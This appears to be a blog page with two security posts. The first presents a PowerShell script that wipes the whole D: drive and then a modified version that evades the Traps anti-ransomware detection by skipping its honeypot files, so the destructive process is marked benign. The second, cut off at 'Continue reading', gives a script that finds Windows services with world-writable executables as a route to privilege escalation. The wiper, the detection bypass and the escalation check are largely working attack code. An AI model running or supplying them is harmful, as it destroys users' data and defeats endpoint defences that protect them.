This piece could be the shortest article you have/will read today, so don’t blink:

The PoC script below will mimic a ransomware, it will wipe the whole D: drive except some pre-excluded files and folders ($TrustedFiles and $TrustedFolders).
When running this script, Traps (version 4.1.0 and above, with the Anti-Ransomware module activated) will flag it as a ransomware and kills the process, that is because it is performing bulk files/folders modification:

$basePath='d:\'
$TrustedFiles='SomeFile.csv'
$TrustedFolders='SomeFolder','SomeOtherFolder','$RECYCLE.BIN','System Volume Information'

foreach ($FolderCheck in (Get-ChildItem $basePath | ?{ $_.PSIsContainer })){

	$folderToCheck = $FolderCheck.name 
	$deletefolder = 1
	foreach ($Fol in $TrustedFolders){
		if ($Fol -eq $folderToCheck){
			$deletefolder = 0
		}
	}
	
	if($deletefolder){
		$fullPath=$basePath+$folderToCheck
		remove-item $fullPath -recurse
	}
	
}

foreach ($FileCheck in (Get-ChildItem $basePath | ?{ !$_.PSIsContainer })){

	$fileToCheck = $FileCheck.name 
	$deletefile = 1
	foreach ($Fil in $TrustedFiles){
		if (($Fil -eq $fileToCheck){
			$deletefile = 0
		}
	}
	
	if($deletefile){
		$fullPath=$basePath+$fileToCheck
		remove-item $fullPath
	}
	
}

So how Traps detects that?
Simply it creates honeypot files in all directories, with names like !!!!!2686401769.jpg and ZZZZZ1920832159.png.
Below is the list of all the file names:

So we edit our PoC script to exclude everything that starts with !!!!! or ZZZZZ, and it just works, Traps will mark it as a benign process:

$basePath='d:\'
$TrustedFiles='SomeFile.csv'
$TrustedFolders='SomeFolder','SomeOtherFolder','$RECYCLE.BIN','System Volume Information'

foreach ($FolderCheck in (Get-ChildItem $basePath | ?{ $_.PSIsContainer })){

	$folderToCheck = $FolderCheck.name 
	$deletefolder = 1
	foreach ($Fol in $TrustedFolders){
		if ($Fol -eq $folderToCheck){
			$deletefolder = 0
		}
	}
	
	if($deletefolder){
		$fullPath=$basePath+$folderToCheck
		remove-item $fullPath -recurse
	}
	
}

foreach ($FileCheck in (Get-ChildItem $basePath | ?{ !$_.PSIsContainer })){

	$fileToCheck = $FileCheck.name 
	$deletefile = 1
	foreach ($Fil in $TrustedFiles){
		if (($Fil -eq $fileToCheck) -or ($fileToCheck -match "^ZZZZZ") -or ($fileToCheck -match "^!!!!!")){
			$deletefile = 0
		}
	}
	
	if($deletefile){
		$fullPath=$basePath+$fileToCheck
		remove-item $fullPath
	}
	
}

Is it that easy or is there something I’m missing?

Hello People,

I know I know, it’s been a while, but who’s counting!

So, a very quick overview of Windows privilege escalation using misconfigured services: If a service’s executable DACLs allows any normal user (non-admin) to delete it, that means that any user can replace that executable with another one of his choosing, thus running any software as Admin! (Please ignore the plethora of  “Any”…)

Below is a mini/mildly-dirty script that I wrote to check all local services for any vulnerable services:

$vulnList=$NULL
foreach ($proc in (Get-WmiObject win32_service | select  @{Name="Path"; Expression={$_.PathName.split('"')[1]}})){
	if (($proc.Path).length -ne 0){
		[string]$resp = icacls $proc.Path
	}

	if ($resp.contains("Everyone:(F)") -or $resp.contains("Everyone:(I)(F)")){
		$vulnList = $vulnList+ $proc.Path
	}
}
$vulnList

This script will enumerate all the local services paths and check the DACLs of each one, searching for the following ACE: Everyone (F), which means “Everyone” has full control over this file.

While testing on a dummy machine, I found a sneaky service that comes by default with this specific computer model:

Continue reading